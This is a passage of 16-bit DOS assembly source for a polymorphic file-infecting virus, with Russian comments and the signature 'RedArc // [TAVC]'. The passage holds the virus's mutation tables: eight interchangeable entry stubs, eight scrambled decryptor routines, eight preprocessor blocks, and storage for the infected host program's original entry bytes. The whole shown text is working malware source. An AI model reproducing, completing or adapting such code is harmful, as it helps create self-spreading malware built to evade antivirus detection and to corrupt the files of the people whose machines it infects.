_E_H_6 equ $-Entry
pop di
push di
add di,Decrypter
push es
push di
retf
db 0adh
db 0adh
_E_H_7 equ $-Entry
pop bp
push bp
add bp,Decrypter
push cs
push bp
retf
db 0adh
db 0adh
_E_H_8 equ $-Entry
pop ax
push ax
add ax,Decrypter
push ds
push ax
retf
db 0adh
db 0adh
OffsetEntry equ $-Entry ;Смещение начала блоков-точек входа
dw 0, _E_H_1, _E_H_2, _E_H_3, _E_H_4, _E_H_5, _E_H_6, _E_H_7, _E_H_8
CurrentEntry equ $-Entry
db 1
OldEntryOffset equ $-Entry ;Старый блок от точки входа программы-носителя
db _E_H_Length dup (90h)
db ' RedArc // [TAVC] '
;Данные для мутации блока декриптора
_MtE_1_ equ $-Entry
lodsw
ror ax,CryptKey
nop
xchg ax,bx
lodsw
rol ax,CryptKey
nop
xchg ah,al
inc cx
xchg bh,bl
nop
inc cx
stosw
inc cx
xchg ax,bx
nop
inc cx
stosw
_MtE_2_ equ $-Entry
nop
lodsw
nop
ror ax,CryptKey / 2
nop
xchg ax,bx
nop
lodsw
xchg bh,bl
rol ax,CryptKey / 2
xchg ah,al
inc cx
stosw
inc cx
xchg ax,bx
inc cx
stosw
inc cx
_MtE_3_ equ $-Entry
lodsw
ror ax,CryptKey / 3
xchg ax,bx
lodsw
rol ax,CryptKey / 3
xchg bh,bl
inc cx
xchg ah,al
inc cx
stosw
inc cx
nop
xchg ax,bx
nop
inc cx
nop
stosw
nop
_MtE_4_ equ $-Entry
lodsw
nop
inc cx
nop
xchg ax,bx
inc cx
ror bx,0adh
lodsw
rol ax,0adh
inc cx
xchg ah,al
inc cx
xchg bh,bl
nop
stosw
nop
xchg ax,bx
stosw
_MtE_5_ equ $-Entry
nop
inc cx
nop
lodsw
xchg ax,bx
lodsw
rol ax,0beh
nop
xchg ah,al
inc cx
ror bx,0beh
xchg bh,bl
stosw
inc cx
xchg ax,bx
stosw
nop
inc cx
_MtE_6_ equ $-Entry
inc cx
lodsw
ror ax,0ceh
nop
xchg ax,bx
lodsw
rol ax,0ceh
xchg al,ah
nop
xchg bl,bh
inc cx
nop
stosw
xchg ax,bx
inc cx
stosw
inc cx
nop
_MtE_7_ equ $-Entry
nop
nop
nop
lodsw
inc cx
xchg ax,bx
lodsw
rol ax,0deh
ror bx,0deh
xchg bh,bl
xchg ah,al
stosw
xchg ax,bx
inc cx
stosw
nop
inc cx
inc cx
_MtE_8_ equ $-Entry
inc cx
inc cx
lodsw
inc cx
ror ax,077h
nop
xchg ax,bx
lodsw
rol ax,077h
stosw
inc cx
xchg ax,bx
xchg ah,al
nop
stosw
nop
nop
OffsetMtE equ $-Entry ;Смещение начала блоков-декрипторов
dw 0, _MtE_1_, _MtE_2_, _MtE_3_, _MtE_4_, _MtE_5_, _MtE_6_, _MtE_7_, _MtE_8_
CurrentMtE equ $-Entry
db 1
;Данные для мутации блока препроцессора к декриптору
_P_1_ equ $-Entry
nop
pop si
mov bp,si
nop
push cs
cli
add si,CryptStart
sti
mov di,si
push di
xor cx,cx
cld
nop
_P_2_ equ $-Entry
xchg bp,di
pop di
mov bp,di
std
push cs
add di,CryptStart
mov si,di
cld
push si
nop
xor cx,cx
cld
_P_3_ equ $-Entry
xchg ax,bx
pop di
ror ax,3
push cs
mov bp,di
add di,CryptStart
std
push di
mov si,di
xor cx,cx
cld
sti
_P_4_ equ $-Entry
clc
pop bp
mov si,bp
push cs
stc
add si,CryptStart
xor cx,cx
nop
mov di,si
push di
cld
xchg ax,bx
xchg ax,bx
_P_5_ equ $-Entry
pop bp
xchg ax,bx
mov di,bp
push cs
add di,CryptStart
nop
xor cx,cx
mov si,di
xchg ax,bx
push si
cld
nop
nop
_P_6_ equ $-Entry
pop bp
nop
mov di,bp
xor cx,cx
nop
add di,CryptStart
push cs
nop
mov si,di
push di
nop
nop
cld
_P_7_ equ $-Entry
pop si
std
mov bp,si
xor cx,cx
cld
add si,CryptStart
push cs
cld
mov di,si
nop
nop
push si
cld
_P_8_ equ $-Entry
nop
nop
pop di
xor cx,cx
mov bp,di
add di,CryptStart
xchg ax,cx
mov si,di
push cs
push di
mov cx,ax
cld
Save_ES equ $-Entry
dw ?
OffsetPrep equ $-Entry ;Смещение начала блоков препроцессоров
dw 0, _P_1_, _P_2_, _P_3_, _P_4_, _P_5_, _P_6_, _P_7_, _P_8_
CurrentPrep equ $-Entry
db 1
Save_DXCX equ $-Entry
dw ?
dw ?
CryptEnd equ $-Entry
CryptLen equ $-Crypt
VIRLEN equ $-Preprocessor
StaticLen equ $-Virus
DTA db 80h dup (?)
LBL equ $-Entry
End Start
=== Cut ===